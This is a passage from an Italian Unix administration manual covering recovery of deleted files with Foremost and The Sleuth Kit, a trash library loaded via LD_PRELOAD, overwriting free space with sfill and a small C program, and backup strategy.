3 inodes found. Where shall i dump them? (directory):
```

/tmp/recuperati [*Invio*]

```
Please type some text the deleted file should have included ↩
↪(type: * if you don't know it):
```

***** [*Invio*]

```
Please wait...
Dumping inode 15 to /tmp/recuperati
Dumping inode 16 to /tmp/recuperati
Dumping inode 17 to /tmp/recuperati

Do you want to refilter the inodes? [yn]
```

n [*Invio*]

Alla fine, in base all'esempio, si trovano dei file nella directory '`/tmp/recuperati/`', con nomi che ricordano semplicemente il numero inode da cui hanno origine.

23.1.5 Recupero da un file system generico con Foremost

Partendo dal presupposto che, nella maggior parte dei casi, i dati memorizzati in un file system utilizzano blocchi adiacenti, è possibile usare strumenti che scandiscono l'unità di memorizzazione alla ricerca di impronte di riconoscimento nei file. In generale, il programma più citato per questo tipo di scansione è Foremost.[4]

```
foremost [opzioni]
```

L'utilizzo più semplice che se ne può fare consiste nell'indicare un file-immagine da scandire e una directory vuota in cui vanno depositate le copie dei file rinvenuti:

`#` **`foremost -i immagine -o /tmp/recupero`** [*Invio*]

In questo esempio, il file-immagine è precisamente '`immagine`' e la directory in cui il programma deve copiare i file è '`/tmp/recupero/`'.

Nella directory usata per copiare i file rinvenuti, vengono create delle sottodirectory per tipologia di file individuato e un file con il riassunto delle operazioni svolte: '`audit.txt`'. La lettura di questo file consente di sapere da quale posizione del file-immagine sono stati estrapolati i file recuperati.

Come accennato, il riconoscimento dei file avviene attraverso delle impronte e il programma dispone già di un discreto numero di impronte incorporate nel codice, mentre è possibile aggiungerne altre nel file di configurazione: '`/etc/foremost.conf`' o quanto indicato con l'opzione '**`-c`** ***file***'. Il file di configurazione predefinito, normalmente è vuoto, oppure contiene la spiegazione di come va compilato attraverso dei commenti. A titolo di esempio si può vedere come potrebbe essere definito un tipo di file contenente codice HTML:

```
...
    htm         n        50000    <html    </html>
...
```

Il primo campo che appare in queste direttive indica il tipo di file che può essere usato nell'opzione '**`-t`** ***tipo***' e serve per attribuire un'estensione ai file individuati. In pratica, in questo caso, nella directory usata per depositare i file rinvenuti, questi file hanno una propria sottodirectory '`htm/`' e i nomi dei file terminano per '`.htm`'. Inoltre, volendo limitare la ricerca ai soli file di questo tipo, andrebbe usata l'opzione '**`-t htm`**'.

Il secondo campo indica se l'impronta debba essere considerata letteralmente o se sia indifferente l'uso di maiuscole e minuscole. In questo caso, la lettera '**`n`**' indica che non fa differenza se l'impronta appare con lettere maiuscole o minuscole; diversamente si userebbe la lettera '**`y`**'.

Il terzo campo indica la dimensione massima in byte del file da estrapolare. In questo caso si tratta di file che al massimo occupano 50000 byte.

Il quarto campo indica l'impronta iniziale: da quel punto inizia il file. Il quinto campo, facoltativo, indica l'impronta che indica la fine del file.

L'esempio successivo mostra una direttiva del file di configurazione per individuare i file eseguibili in formato ELF. Purtroppo, in questo caso non è possibile indicare un'impronta che permetta di individuare correttamente la fine di tali file. Si osservi che l'impronta è scritta in forma esadecimale:

```
...
    elf         y       1000000     \x7F\x45\x4C\x46
...
```

Quando viene riconosciuto un file per il quale è prevista solo l'impronta iniziale di riconoscimento, diventa cruciale la dimensione massima (predefinita o fissata nel file di configurazione). Infatti, il file che viene individuato viene copiato fino alla dimensione massima, non essendoci altro modo di capire dove può terminare, salvo quando ci si trova alla fine dell'unità di memorizzazione. Ma anche se un file ottenuto dalla scansione ne contiene altri, se questi altri file sono individuabili, il loro contenuto viene comunque copiato in altrettanti file separati. In pratica, la somma delle dimensioni dei file copiati può superare di gran lunga la dimensione complessiva dell'unità di memorizzazione originale.

Tabella 23.12. Alcune opzioni per l'uso di Foremost.

Opzione	Descrizione
`-d`	Attiva il riconoscimento dei blocchi indiretti, utile quando si scandisce un file system Unix (tra quelli conosciuti da Foremost).
`-w`	Si limita a scrivere il file '`audit.txt`' nella directory di destinazione, senza copiare effettivamente i file individuati.
`-i` ***immagine***	Specifica il nome del file-immagine (o del file di dispositivo) da scandire alla ricerca dei file.
`-o` ***directory***	Specifica la directory di destinazione dei file da estrapolare e del file '`audit.txt`'. Se non viene specificata, si intende la directory '`output/`'.
`-c` ***configurazione***	Specifica il file di configurazione da usare. Generalmente, se non viene specificata questa opzione, dovrebbe trattarsi di '`/etc/foremost.conf`'.
`-t` ***tipo***	Se viene usata, questa opzione serve a limitare la ricerca a un certo tipo di file. Il nome che individua il tipo di file può essere trovato nella pagina di manuale *foremost(1)* e nel file di configurazione.

In generale, per una scansione all'interno di un file system Ext2 o Ext3, è conveniente l'uso dell'opzione '**`-d`**'; pertanto il comando tipo dovrebbe essere:

foremost [**-t** ***tipo***] [**-w**] **-d -i** ***immagine*** **-o** ***directory*** [*Invio*]

È evidente che la scansione di Foremost non tiene conto delle informazioni contenute nel file system, a parte il caso dell'opzione '**`-d`**', pertanto i file che si ottengono possono essere indifferentemente dati cancellati o dati che hanno una propria identificazione ancora valida.

23.1.6 Combinare Foremost e The Sleuth Kit

Attraverso il programma '**dls**' del pacchetto The Sleuth Kit è possibile estrapolare facilmente, da un file-immagine, l'insieme dei blocchi che risultano essere liberi (non allocati). Il risultato di questa estrazione può essere dato in pasto a Foremost, in modo da cercare qualcosa solo tra i file cancellati:

dls immagine > immagine2 [*Invio*]

foremost -i immagine2 -o /tmp/recupero [*Invio*]

Altri programmi affini.

Autopsy[5]	Si tratta di un programma frontale per l'uso mediato dei programmi che costituiscono il pacchetto The Sleuth Kit.

23.2 Libreria per la conservazione dei dati cancellati

I sistemi operativi commerciali, rivolti al pubblico generale, offrono solitamente la possibilità di ripescare i dati cancellati, in quanto questi finiscono di norma all'interno di un «cestino». Nei sistemi Unix sono i programmi usati nel sistema grafico che, in qualche modo, forniscono questo tipo di funzionalità, ma sempre in modo scoordinato, nel senso che programmi diversi potrebbero usare cestini differenti.

Volendo realizzare un cestino generalizzato dei dati cancellati in un sistema Unix, utilizzato da tutti i programmi nello stesso modo, occorre che le librerie standard siano ritoccate appositamente per tale scopo, in modo che le funzioni volte alla cancellazione di un file, invece di farlo realmente, accantonino il file in una directory convenuta per questo scopo.

Nei sistemi GNU/Linux sono esistiti ed esistono lavori di questo tipo, utilizzando un meccanismo di sovrapposizione alle librerie standard, attraverso l'uso della variabile di ambiente ***LD_PRELOAD***, con la quale si informano i programmi di utilizzare prima una certa libreria e poi quelle comuni.

In questa sezione viene descritto un procedimento per utilizzare la libreria Libdelsafe, del pacchetto Delsafe. Va osservato però che **una qualunque libreria del genere, intervenendo sul controllo di funzioni delicate del sistema operativo, deve fare preoccupare un po' di più l'amministratore del sistema**.

23.2.1 Variabile di ambiente «LD_PRELOAD»

Un programma che fa uso di librerie dinamiche, quando all'interno della variabile di ambiente ***LD_PRELOAD*** trova l'indicazione di un percorso, tenta di caricare il file indicato in qualità di libreria, usando le sue funzioni con precedenza rispetto alle altre librerie per le quali è predisposto. Per esempio, se la variabile di ambiente ***LD_PRELOAD*** contiene la stringa '**/lib/lib-mia.so**', la libreria costituita dal file '`/lib/lib-mia.so`' viene caricata e usata prima di altre librerie eventuali.

La variabile di ambiente ***LD_PRELOAD*** può contenere un elenco di librerie che, in tal caso, sono separate dai due punti verticali «:», come per esempio: '**/lib/lib-mia.so:/lib/lib-tua.so:/lib/lib-sua.so**'.

Per fare in modo che gli utenti si trovino a operare con un certo insieme di variabili di ambiente, di norma si impostano tali valori utilizzando il file '`/etc/profile`' o qualunque altra cosa sia riconosciuta dalla shell, testuale o grafica che sia.

In presenza di una certa configurazione delle variabili di ambiente, si può avviare un programma con una configurazione differente, anteponendo al comando di avvio la nuova configurazione per le variabili. Per esempio, per far sì che un certo programma veda la variabile ***LD_PRELOAD*** vuota, basta un comando come quello seguente:

$ **`LD_PRELOAD=""`** ***comando*** [*Invio*]

23.2.2 Delsafe

Il pacchetto Delsafe,[6] composto dalla libreria Libdelsafe e da alcuni programmi di contorno, consente di organizzare in un sistema GNU/Linux dei «cestini», uno per ogni unità di memorizzazione per la quale ci si voglia proteggere dalle cancellazioni accidentali di file.

In pratica, la libreria Libdelsafe viene fatta caricare preventivamente ai programmi attraverso la variabile di ambiente ***LD_PRELOAD***. Quando un programma tenta di cancellare un file, facendo uso delle funzioni comuni destinate a tale scopo, la libreria verifica se per quell'unità di memorizzazione è presente la directory destinata a fare da cestino e se al suo interno c'è una sottodirectory con il nome dell'utente per conto del quale quel programma sta operando. Se è così, invece di cancellare il file, lo rinomina, trasferendolo all'interno di tale gerarchia, aggiungendo un'estensione che consente di risalire al momento della cancellazione formale.

I programmi di contorno che fanno parte del pacchetto Delsafe, servono principalmente a predisporre le directory da usare come cestini e a ripulire queste dai dati più vecchi, quando la mancanza di spazio lo richiede.

Il pacchetto Delsafe prevede l'uso di un file di configurazione, costituito normalmente da '`/etc/delsafe.conf`', il quale ha lo scopo principale di informare i programmi di contorno sulla collocazione delle directory usate come cestini e sulle modalità di ripulitura delle stesse. La libreria, invece, non interpella il file di configurazione e, per adattarla alle esigenze del proprio contesto, va compilata fornendo le opzioni appropriate.

Va osservato che del pacchetto Delsafe, solo la libreria Libdelsafe è indispensabile, perché gli altri programmi non svolgono compiti tanto sofisticati e un amministratore farebbe bene ad avere un controllo maggiore di tale gestione.

L'interposizione della libreria Libdelsafe a mediare le operazioni di cancellazione dei file, costituisce un elemento delicato nell'amministrazione del sistema, essendo giustificabile solo in un contesto dove la possibilità di recupero dei dati cancellati è molto importante. Tuttavia, per questa gestione deve essere coinvolto un amministratore competente e consapevole, il quale deve avere il massimo controllo su tale questione. Pertanto, di fronte al rischio che un uso errato dei programmi di contorno di Delsafe possa procurare dei danni inaspettati, è molto meglio predisporre manualmente le directory dei cestini e i propri script ritenuti appropriati alle necessità.

23.2.3 Preparazione di Libdelsafe

Sulla base delle considerazioni fatte nella sezione precedente, qui viene proposta la procedura per compilare e utilizzare la libreria Libdelsafe da sola. Si fa riferimento all'edizione 0.4.0 del pacchetto Delsafe che la contiene, distribuito in un solo file denominato '`delsafe-0.4.0.bin`', il quale è uno script che incorpora un archivio compresso da estrarre. Una volta scaricato questo file, avendolo collocato in una directory appropriata, si procede all'estrazione del suo contenuto:

$ **`chmod +x delsafe-0.4.0.bin`** [*Invio*]

$ **`./delsafe-0.4.0.bin`** [*Invio*]

Lo script che avviluppa il pacchetto estrae i dati nella directory '`delsafe-0.4.0/`' e poi mostra la documentazione del pacchetto che viene fatta scorrere con l'ausilio di un programma come '**`more`**' o '**`less`**'. Concludendo il funzionamento del programma usato per scorrere la documentazione, lo script si appresta a fare delle domande per configurare la libreria e i programmi prima della compilazione. Qui si suggerisce di interrompere lo script e di procedere manualmente:

`q`

`Trash name - .Trash?` [*Ctrl c*]

Nella directory '`delsafe-0.4.0/`' si trova il file '`libdelsafe.c`' che può andare bene così, oppure si potrebbe ritoccare per le proprie esigenze.

$ **`cd delsafe-0.4.0`** [*Invio*]

Ciò che potrebbe essere modificato, eventualmente dopo che si ha guadagnato un po' di esperienza nell'uso di tale libreria, è quanto appare nel listato seguente, dove le voci modificabili sono evidenziate:

```
…
  /*** BEGIN OF DEFAULT STATIC OPTIONS (from config at install time) */
  char *d_mtab="/etc/mtab";
#if defined DEBUG
  char *d_trash_rootname=".Lixo";
#else
  char *d_trash_rootname=".Trash";
#endif
  char *d_exclude_heads[]={
    "/tmp/",
    "/proc/",
    "/dev/",
    "/sys/",
    "/var/",
    "/root/.xauth",
    "/root/.Xauthority",
    "/root/.DCOPserver",
    "/root/.ICEauthority",
    "/root/.xauth",
```

```
    ""
  };
  char *d_exclude_tails[]={
    "~",
    ".o",
    ""
  };
  char *d_exclude_files[]={
    "/etc/mtab",
    ""
  };
  char *d_exclude_patts[]={
    "^/home/.+/\\.kde",
    "^/home/.+/\\.Xauthority.*",
    "^/home/.+/\\.DCOPserver.+",
    "^/home/.+/\\.ICEauthority.*",
    "^/home/.+/\\.fonts\\.cache.*",
    "^/home/.+/\\.serverauth.*",
    "^/home/.+/\\.beagle/.*",
    ""
  };
  int   d_error_action=LEAVE;
  int   d_xdev_action=FORCE;
  /*** END OF DEFAULT STATIC OPTIONS (from config at install time) */
...
```

Secondo le intenzioni dell'autore, le voci che qui sono state evidenziate, sono da definire attraverso il file di configurazione, il quale viene usato per modificare automaticamente il file '`libdelsafe.c`', prima della compilazione. Nel metodo proposto per procedere alla compilazione, questa modifica automatica non avviene.

Una volta modificato il file '`libdelsafe.c`', ammesso che lo si voglia modificare effettivamente, per la compilazione si deve entrare nella directory '`Relise/`' e da lì eseguire i comandi necessari.

$ **pwd** [*Invio*]

```
...⁄delsafe-0-4-0
```

$ **cd Relise** [*Invio*]

$ **make -f makefile clean** [*Invio*]

$ **make -f makefile** [*Invio*]

A questo punto, nella stessa directory '`Relise/`' si deve trovare il file '`libdelsafe-0.4.0.so`' che costituisce la libreria compilata.

Dopo la compilazione, la libreria va collocata in una posizione appropriata e, di conseguenza, bisogna provvedere a configurare la variabile di ambiente ***LD_PRELOAD*** in modo che sia

utilizzata. Si può supporre che il file '`libdelsafe-0.4.0.so`' sia collocato nella directory '`/lib/`' e, di conseguenza, nel file '`/etc/profile`' potrebbe apparire una coppia di istruzioni come quella seguente:

```
...
LD_PRELOAD="/lib/libdelsafe-0.4.0.so"
export LD_PRELOAD
...
```

A questo punto, i programmi che incontrano la variabile di ambiente ***LD_PRELOAD*** con il contenuto ipotizzato sopra, utilizzano sempre la libreria Libdelsafe prima di altre, ma la libreria non è efficace se non trova le directory da usare come cestino.

23.2.4 Predisposizione dei cestini

La libreria Libdelsafe è sostanzialmente inerte se non trova le directory destinate alla conservazione dei file che formalmente vengono rimossi. In condizioni normali, si tratta delle directory '`.Trash/`' collocate all'inizio delle gerarchie delle unità di memorizzazione in cui si vuole prevenire la cancellazione. Per esempio, se ci si vuole salvaguardare dalla cancellazione dei dati contenuti nel file system innestato a partire da '`/home/`', occorre ci sia la directory '`/home/.Trash/`'; nello stesso modo, se ci si vuole salvaguardare per il file system principale, occorre la directory '`/.Trash/`'.

Il nome di questa directory è definito nella libreria e può essere modificato. Per la precisione si tratta dell'istruzione seguente, già vista in precedenza:

```
...
    char *d_trash_rootname=".Trash";
...
```

Tuttavia, le directory '`.Trash/`', da sole, non bastano: occorre che ogni utente, per il quale si vuole garantire la possibilità di recuperare i file cancellati, sia presente una sottodirectory con il nome dell'utenza stessa. Per esempio, se si vuole che l'utente '**`tizio`**' possa recuperare i propri file cancellati, occorre che sia presente la directory '`.Trash/tizio/`'. Naturalmente, le sottodirectory degli utenti devono appartenere agli utenti relativi e devono avere i permessi 0700_8, in modo da impedire a tutti gli altri di accedervi.

Se si vuole che anche l'utente '**`root`**' possa recuperare i dati che cancella, occorre che sia predisposta la directory '`.Trash/root/`', secondo le stesse modalità già descritte. Tuttavia, sarebbe auspicabile che per tale utente questa misura non fosse necessaria.

La libreria Libdelsafe, quando trova la directory corretta per la conservazione dei file cancellati, ricrea, a partire dalla stessa, il percorso del file cancellato, usando per il file un nome con un'estensione costituita dalla data e dall'ora della cancellazione. Nel caso un utente fosse interessato al recupero di un certo file, non dovrebbe fare altro che spostarlo, cambiandogli nome nel modo più appropriato.

23.2.5 Script ausiliari a Libdelsafe

Il pacchetto Delsafe, oltre alla libreria Libdelsafe, fornisce dei programmi che possono facilitare il recupero dei file cancellati e consentono di tenere sotto controllo lo spazio utilizzato, eliminando periodicamente ciò che diventa troppo vecchio. Questi programmi non sono indispensabili e si può provvedere autonomamente alla realizzazione dei propri script.

Per prima cosa è necessario fornire un modo agli utenti per eseguire dei programmi senza l'ausilio della libreria Libdelsafe. Per ottenere tale risultato è sufficiente fornire a questi programmi la variabile di ambiente vuota, tuttavia si può predisporre un piccolo script:

```
#!/bin/sh

TRASH=OFF LD_PRELOAD="" "$@"
```

Per fare in modo che le directory contenenti i cestini vengano ripulite periodicamente, si può predisporre uno script come quello seguente, da avviare giornalmente attraverso Cron (di norma è sufficiente collocarlo materialmente nella directory '`/etc/cron.daily/`'). In questo caso i file più vecchi di una settimana vengono eliminati, assieme a eventuali directory vuote:

```
#!/bin/sh

for TRASH in /home/.Trash/*     # Modificare in base alla collocazione effettiva.
do
    find $TRASH -mtime +7 -and -ctime +7 -and \( -not -type d \) -exec rm \{\} \;
    find $TRASH -type d -exec rmdir --ignore-fail-on-non-empty \{\} \;
done
```

23.2.6 E2undel

E2undel[7] è un pacchetto, composto da un programma e da una libreria, per il recupero dei file cancellati da un file system Ext2. La libreria, in particolare, nota con il nome Libundel, viene fatta utilizzare ai programmi attraverso il meccanismo della variabile di ambiente ***LD_PRELOAD*** (esattamente come per Libdelsafe), con la differenza che non accantona i file cancellati formalmente, ma annota in un diario la loro collocazione originale per facilitarne poi il recupero.

Tuttavia, il pacchetto E2undel si basa sulle caratteristiche del file system Ext2, per cui il numero inode di un file cancellato mantiene i riferimenti ai blocchi di dati che costituivano il file; pertanto, la libreria Libundel annota nel proprio diario il numero inode originale. Purtroppo, in un file system Ext3 questo meccanismo diventa privo di utilità, perché il numero inode di un file cancellato perde il riferimento ai blocchi di dati originali.

23.3 Controllo dello spazio rimasto libero

Se da un lato ci può essere l'esigenza di ripescare i dati cancellati all'interno di un'unità di memorizzazione, dall'altro c'è sicuramente quella di poter eliminare definitivamente ciò che si intende cancellare. Il modo più semplice e intuitivo per premunirsi contro la ricerca di dati all'intero dello spazio inutilizzato di un'unità di memorizzazione, consiste nel creare una serie di file temporanei, il cui contenuto sia innocuo, cancellandoli successivamente.

Questo problema può essere considerato con maggiore o minore serietà, a seconda del contesto: se si tratta solo di un piccolo scrupolo, una sovrascrittura singola dei dati può essere sufficiente; se invece il problema della riservatezza è grave, sono necessarie più sovrascritture con dati diversi e casuali.

L'efficacia del procedimento di sovrascrittura dei dati cancellati dipende anche dalle caratteristiche del file system e dal modo in cui si comunica effettivamente con l'unità di memorizzazione. Per avere un risultato accettabile occorre che l'unità di memorizzazione sia collegata localmente, perché un file system di rete potrebbe essere gestito tramite una memoria tampone significativa, dove molti file creati e poi cancellati non vengono nemmeno memorizzati effettivamente, o comunque dove non tutte le sovrascritture ripetute vengono eseguite realmente. Inoltre, il file system non deve conservare lo storico (ovvero il diario) delle modifiche ai file, altrimenti il procedimento di sovrascrittura diventa perfettamente inutile e dannoso per altri versi.

Eventualmente va considerato anche il problema della cancellazione della memoria di scambio (quella che estende la memoria virtuale in un'unità di memorizzazione di massa), ma in questo capitolo la questione non viene trattata.

23.3.1 Secure-delete

Secure-delete[8] è un piccolo insieme di programmi destinati alla cancellazione definitiva dei dati. In particolare è importante il programma '**`sfill`**', con il quale si va a sovrascrivere più volte lo spazio inutilizzato all'interno di un file system:

```
sfill [opzioni] directory
```

La sintassi del programma richiede almeno l'indicazione di una directory, all'interno della quale creare i file temporanei per la sovrascrittura. Per esempio, supponendo che nella directory '`/home/`' sia innestato il file system all'interno del quale si vuole fare un po' di pulizia, sarebbe sufficiente il comando seguente:

`#` **`sfill /home`** [*Invio*]

In generale, il programma va usato dall'amministratore, ma non viene escluso dagli utenti comuni. Tuttavia, se un utente comune utilizza '**`sfill`**', è molto probabile che non possa sovrascrivere tutto lo spazio libero, in base alla politica del sistema.

Tabella 23.20. Alcune opzioni per l'uso di '**`sfill`**'.

Opzione	Descrizione
`-f`	Richiede una modalità di funzionamento rapida (*fast*), ma logicamente poco efficace sul piano della sicurezza della cancellazione.
`-l`	Richiede solo due sovrascritture (*less*), una delle quali con dati casuali.
`-z`	Richiede che l'ultimo passaggio di sovrascrittura avvenga utilizzando il valore zero.

Va letta la documentazione, costituita dalla pagina di manuale *sfill(1)*, se il problema della cancellazione dei dati è delicato nel proprio contesto. Si vedano eventualmente anche gli altri

programmi del pacchetto Secure-delete.

23.3.2 Esempio di programma per la sovrascrittura dello spazio libero

Viene proposto un programma molto semplice, scritto in C, con il quale si crea una serie di file nella directory corrente, contenenti la ripetizione di una stringa fornita attraverso la riga di comando. La scrittura avviene una sola volta e i file temporanei vanno cancellati manualmente, dopo l'uso del programma.

```
empty-space-filler [blocco [stringa]]
```

Ammesso che il programma venga chiamato come si vede nel modello sintattico, il primo argomento opzionale è costituito dalla dimensione del blocco, ovvero la dimensione di ogni file temporaneo creato; il secondo argomento, se fornito, deve essere la stringa da usare ripetutamente per riempire lo spazio dei file temporanei. Per esempio, il programma potrebbe essere usato così:

cd /tmp [*Invio*]

empty-space-filler 131072 "Ciao a tutti! :-) :-) :-)" [*Invio*]

Naturalmente, se non si forniscono opzioni vengono usati i valori predefiniti nel programma. Segue il listato del programma che dovrebbe essere disponibile presso ⟨*allegati/c/empty-space-filler.c* ⟩).

```
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const unsigned int  p_default_block_size = 65536;
const unsigned int  p_max_block_size     = 1048576;
const          char p_default_message[]  = "ciao";
               char *p_program_name;

void
command_line_error (void)
{
    printf ("%s: syntax error!\n", p_program_name);
    printf ("\n");
    printf ("syntax:\n");
    printf ("%s [[BLOCK_SIZE MESSAGE]\n", p_program_name);
    printf ("\n");
    printf ("max BLOCK_SIZE is %u.\n", p_max_block_size);
    printf ("\n");
    printf ("example:\n");
    printf ("%s %u \"empty block\"\n",
            p_program_name,
```

```
            p_default_block_size);
}

char *
fill_the_block (char *block,
                unsigned int block_size,
                const char *message)
{
    unsigned int i;
    unsigned int j;
    unsigned int message_size = strlen (message);

    for (i = 0; i < block_size; i++)
      {
        for (j = 0; i < block_size && j <= message_size; j++, i++)
          {
            block[i] = message[j];
          }
        i--;
      }

    return block;
}

int
make_temp_file (char *block,
                unsigned int block_size,
                const unsigned n)
{
      char  temp_file_name[64];
       int  byte_composed;
    size_t  byte_written;
      FILE *temp_stream;

    byte_composed = sprintf (temp_file_name,
                             "empty-space-filler-%u.tmp",
                             n);

    if (byte_composed <= 0)
      {
        printf ("%s: unknown error 1!\n", p_program_name);
        return -1;
      }

    temp_stream = fopen (temp_file_name, "wb");

    if (temp_stream == NULL)
```

```
      {
        printf ("%s: cannot create more files!\n", p_program_name);
        return -1;
      }

    byte_written = fwrite (block, 1, block_size, temp_stream);

    if (byte_written != block_size)
      {
        fclose (temp_stream);
        return -1;
      }

    fclose (temp_stream);
    return 0;
}

int
main (int argc, char *argv[])
{
         unsigned int  block_size = p_default_block_size;
                  int  scan_status;
                  int  temp_status;
    unsigned long int  n_temp;
                char *message = (char *) p_default_message;
    unsigned long int  total_size;

    // Save the program name.

    p_program_name = argv[0];

    // Check argument and fix it.

    if (argc > 3)
      {
        command_line_error ();
        exit (-1);
      }

    if (argc == 1)
      {
        block_size = p_default_block_size;
        message = (char *) p_default_message;
      }

    if (argc >= 2)
      {
```

```
        scan_status = sscanf (argv[1], "%u", &block_size);

        if (scan_status != 1)
          {
            command_line_error ();
            exit (-1);
          }
        else if (block_size == 0)
          {
            block_size = p_default_block_size;
          }
        else if (block_size > p_max_block_size)
          {
            command_line_error ();
            exit (-1);
          }
      }

    if (argc == 3)
      {
        message = argv[2];

        if (strlen (message) < 1)
          {
            message = (char *) p_default_message;
          }

      }

    // Define the block to be written and fill it.

    char block[block_size];

    fill_the_block (block, block_size, message);

    // Make files.

    for (n_temp = 0, temp_status = 0;
         n_temp <= UINT_MAX && temp_status >= 0;
         n_temp++)
      {
        temp_status = make_temp_file (block, block_size, n_temp);

        if (temp_status != 0)
          {
            break;
          }
```

```
        total_size = n_temp * block_size;

        printf ("%s: written %lu x %u = %lu bytes\r",
                p_program_name,
                n_temp,
                block_size,
                total_size);

      }

    printf ("%s: written %lu x %u = %lu bytes\n",
            p_program_name,
            n_temp,
            block_size,
            total_size);
    return 0;
}
```

Per compilare il programma, ammesso che il file originale sia '`empty-space-filler.c`', si può procedere nel modo seguente:

`$` **`cc -o empty-space-filler empty-space-filler.c`** [*Invio*]

23.4 Copie di sicurezza

L'amministrazione di un sistema Unix è da sempre un grosso problema sotto tutti i punti di vista. Il primo dovere tra tutti è quello della salvaguardia dei dati, ma al rischio della loro perdita si pone rimedio solo attraverso una gestione corretta delle copie di sicurezza. Gli strumenti a disposizione per eseguire copie di sicurezza sono molti e si possono distinguere due estremi possibili:

- copiare i file e le directory;
- copiare una partizione o un'unità intera.

La copia di una partizione o di un'unità intera può avere il vantaggio di permettere l'archiviazione della situazione esatta in cui si trova, problemi inclusi. Inoltre, non avendo un processo di lettura sui file, la data di lettura di questi non viene modificata. Lo svantaggio fondamentale di tale tipo di copia è che questa è riferita a un'unità particolare (o a una partizione) di una macchina particolare: è poco probabile che si possano recuperare dati archiviati in questo modo in un'unità differente che non abbia caratteristiche equivalenti.

La copia di file e directory non tiene conto del supporto fisico in cui si trovano e nemmeno del tipo di file system utilizzato. Questo comporta una serie di conseguenze:

- i file e le directory vengono scanditi in lettura, alterando quindi le date di lettura;

- i collegamenti simbolici vanno copiati come tali e non devono essere copiati gli oggetti a cui questi puntano;
- i collegamenti fisici potrebbero non essere distinti come tali.

In generale, dal momento che una copia di file e directory è portabile, mentre una copia di un dispositivo intero non lo è (quando non si tratta di un dispositivo standard), dovrebbe essere preferibile la prima di queste due soluzioni.

23.4.1 Archiviazione

La copia pura e semplice dei file e delle directory è una tecnica possibile, ma richiede condizioni particolari:

- l'unità di destinazione deve essere in grado di accogliere i dati come sono all'origine, in pratica dovrebbe trattarsi di un'unità provvista di file system;
- deve trattarsi di unità rimovibili;
- la capacità di queste unità deve essere maggiore di quella del file più grande che si deve archiviare.

Di solito si preferisce la tecnica dell'archiviazione dei dati in un file unico (che rappresenta l'archivio), assieme a tutte le informazioni necessarie per riprodurre i file e le directory originali. In questo modo si possono utilizzare unità di memorizzazione di qualunque tipo, eventualmente suddividendo l'archivio in pezzi più piccoli contenibili al loro interno.

Gli oggetti contenibili in un file system possono essere di vario tipo (file puri e semplici, directory, file di dispositivo, collegamenti, ecc.) e così pure i loro attributi (permessi, date, ecc.). Il sistema di archiviazione che si utilizza deve essere in grado riprodurre correttamente tutti i dati del tipo di file system che si utilizza. Per esempio, non sarebbe possibile archiviare i dati di un file system Unix in un archivio '`.zip`' che è nato per gli ambienti Dos.

23.4.2 Percorsi assoluti o relativi

Quando si intende archiviare una porzione di file system e quindi solo ciò che si trova a partire da una certa directory in poi, è importante sapere come si comporta il programma di archiviazione al riguardo della registrazione dei percorsi (*path*). Se si vuole archiviare la directory '`/home/tizio/esempi/`', il programma di archiviazione potrebbe registrare il suo contenuto in uno dei tre modi seguenti:

1. '`/home/tizio/esempi/*`'
2. '`home/tizio/esempi/*`'
3. '`./*`'

Nel primo caso, quando dovesse rendersi necessario il recupero dei dati, questi verrebbero collocati esattamente nella directory indicata, in modo assoluto. Nel secondo, verrebbero collocati in modo relativo a partire dalla directory corrente, ottenendo così la directory '`./home/tizio/esempi/*`'. Nel terzo caso si avrebbe il recupero del contenuto di quella directory senza informazioni sul percorso precedente.

23.4.3 Strategia nelle copie

Le copie di sicurezza permettono di conservare la situazione dei dati in un istante determinato, ma i dati sono soggetti a continui aggiornamenti. Per questo occorre una procedura attraverso la quale si possa avere una gestione ordinata e ragionevolmente sicura delle copie.

A parte i rischi connessi con il tipo di supporto utilizzato per le copie e il luogo in cui queste vengono conservate, vanno almeno considerate le modalità sequenziali con cui queste possono essere eseguite. È importante rispettare un paio di regole elementari:

1. non si riutilizzano i supporti contenenti la copia effettuata la volta precedente;
2. non si utilizzano supporti in cattive condizioni.

23.4.4 Generazioni delle copie

Per distinguere una copia effettuata in un momento rispetto a quella fatta in un altro, si parla di ***generazione***. In pratica, l'ultima copia di sicurezza effettuata è l'ultima generazione, mentre le altre sono tutte generazioni precedenti. Questo termine si riferisce naturalmente a copie fatte sullo stesso insieme di dati.

Il buon senso suggerisce di utilizzare almeno tre generazioni di copie: l'ultima, quella precedente e quella ancora precedente.

23.4.5 Livelli delle copie

La copia di un file system intero può comportare un certo impegno, sia in termini di tempo, sia nella quantità di supporti impiegati. Il programma che si utilizza per le copie, oppure un gruppetto opportuno di script di shell, potrebbe permettere di effettuare la copia successiva dei soli file che sono stati modificati nel frattempo.

Quando si esegue una copia dei soli file che risultano diversi rispetto all'ultima copia completa, si parla di ***copia di primo livello***; quando se ne esegue un'altra in un momento successivo per le variazioni avvenute dopo quella di primo livello, si parla di ***secondo livello*** e così di seguito.

A parte le difficoltà legate alla conservazione dell'informazione sullo stato dei file (di solito si tratta della data di modifica e di creazione), si pongono poi dei problemi nel momento in cui dovesse essere necessario un ripristino dalle copie. Si dovrebbe ripristinare l'ultima copia completa, seguita da tutte quelle aggiuntive dei soli file modificati, nello stesso ordine in cui sono state fatte: dalla più vecchia alla più recente.

Sotto questo aspetto, quando non si vuole ripetere una copia completa troppo frequentemente, si cerca almeno di eseguire copie successive sempre di primo livello (si hanno quindi più generazioni di copie di primo livello). In tal modo, un eventuale recupero richiederebbe solo il ripristino dell'ultima generazione di copia completa e dell'ultima generazione di copia di primo livello.

Questo sistema potrebbe non tenere conto dei file cancellati dopo l'ultima generazione di copia completa: in tal modo, un eventuale recupero dalle copie di sicurezza potrebbe comportare il ripristino di file che non servono più.

23.4.6 Distribuire le responsabilità

In un sistema monoutente, l'unico utilizzatore è anche l'amministratore del proprio sistema e di conseguenza anche l'unico responsabile. È quindi lui (o lei) a sapere esattamente cosa ha fatto e cosa è necessario copiare per sicurezza.

In un sistema multiutente o comunque quando si condividono dati in gruppo, anche se a prima vista potrebbe sembrare conveniente la gestione delle copie in modo centralizzato, è comunque utile affidarla in parte anche alla responsabilità dei singoli:

- periodicamente, un amministratore potrebbe occuparsi di eseguire la copia complessiva di tutto il sistema;
- ogni giorno, gli utenti dovrebbero preoccuparsi di eseguire le copie dei dati di loro competenza.

Nel momento in cui dovesse essere necessario, si dovrebbero recuperare i dati dalle copie generali fatte dall'amministratore e successivamente da quelle particolari dei singoli utenti.

Se determinate attività vengono svolte in gruppo, si potrebbe eleggere ugualmente un responsabile all'interno di questo che si occupi delle copie di quell'attività.

